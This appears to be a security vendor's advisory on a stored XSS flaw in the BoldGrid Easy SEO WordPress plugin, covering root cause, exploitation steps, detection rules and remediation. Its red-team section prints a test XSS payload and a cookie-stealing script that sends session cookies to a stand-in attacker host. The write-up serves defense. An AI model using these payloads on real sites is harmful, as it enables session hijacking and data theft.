CVE-2024-1692

Executive Summary

CVE-2024-1692 is a Stored Cross-Site Scripting (XSS) vulnerability in the BoldGrid Easy SEO – Simple and Effective SEO plugin for WordPress. The flaw exists in all versions up to and including 1.6.13, where the meta description field fails to properly sanitize user input and escape output. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious meta description, the script executes in their browser, potentially leading to session hijacking, defacement, or data theft. The vulnerability is within the WordPress plugin ecosystem and does not affect the underlying web server software.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify they are running version 1.6.14 or later once a patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes this a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the meta description field of the BoldGrid Easy SEO plugin. When a user with contributor-level or higher permissions edits a post or page, they can input arbitrary HTML/JavaScript into the meta description field. The plugin does not sanitize this input before storing it in the database. When the page is rendered, the meta description is output without proper escaping, allowing the injected script to execute in the context of the visitor's browser.

Root Cause: Insufficient input sanitization and output escaping on the meta description attribute. The plugin likely uses echo $meta_description instead of echo esc_attr( $meta_description ) or similar safe output functions.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a post/page.
3. Attacker inserts malicious JavaScript into the meta description field (e.g., <script>alert('XSS')</script>).
4. The malicious payload is stored in the WordPress database.
5. When any user (including admins) visits the affected page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.6.13):

// In the plugin's meta box output
echo '<meta name="description" content="' . $meta_description . '" />';

Patched Code (Hypothetical fix):

// Properly escape the output
echo '<meta name="description" content="' . esc_attr( $meta_description ) . '" />';

The patched version would use esc_attr() to HTML-encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with BoldGrid Easy SEO plugin <= 1.6.13
• Contributor-level account or higher

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Posts > Add New.
3. In the BoldGrid Easy SEO meta box, enter the following payload in the meta description field:

   <script>alert('XSS')</script>
   

4. Publish the post.
5. Visit the published post as any user to trigger the XSS.

Advanced Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual meta description content in WordPress database.
• Look for posts containing <script> tags in the _boldgrid_easy_seo_meta_description post meta field.

Hardening:

• Update to the latest patched version once available.
• Implement a Web Application Firewall (WAF) rule to block <script> tags in meta fields.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/boldgrid-easy-seo/boldgrid-easy-seo.php (version <= 1.6.13)
• Database: Post meta key _boldgrid_easy_seo_meta_description containing <script> tags or encoded JavaScript.
• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• Logs: WordPress debug log entries showing unexpected HTML in meta fields.

Detection Engineering

YARA Rule

rule CVE_2024_1692_BoldGrid_XSS {
    meta:
        description = "Detects stored XSS payloads in BoldGrid Easy SEO meta description"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1692"
    strings:
        $meta_key = "_boldgrid_easy_seo_meta_description"
        $xss_payload = /<script[^>]*>.*?<\/script>/is
    condition:
        $meta_key and $xss_payload
}

Sigma Rule

title: Stored XSS in BoldGrid Easy SEO Meta Description
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in the BoldGrid Easy SEO plugin meta description field
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: "_boldgrid_easy_seo_meta_description"
        meta_value|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in meta descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1692 BoldGrid Easy SEO Stored XSS"; flow:to_server,established; content:"_boldgrid_easy_seo_meta_description"; nocase; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to the latest version once a patch is released (check WordPress plugin repository).
2. Disable the plugin if no patch is available and the risk is unacceptable.
3. Audit existing content for malicious meta descriptions using the YARA rule above.

Long-term Mitigation:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use a WordPress security plugin that monitors for XSS attempts.
• Enforce principle of least privilege: only grant contributor access to trusted users.
• Regularly backup the WordPress database to recover from defacement.

Workaround (if patching is not possible):

• Add a custom function to your theme's functions.php to sanitize the meta description output:

add_filter( 'boldgrid_easy_seo_meta_description', 'sanitize_meta_description' );
function sanitize_meta_description( $description ) {
    return esc_attr( $description );
}

Valters IT
Securing Digital Frontiers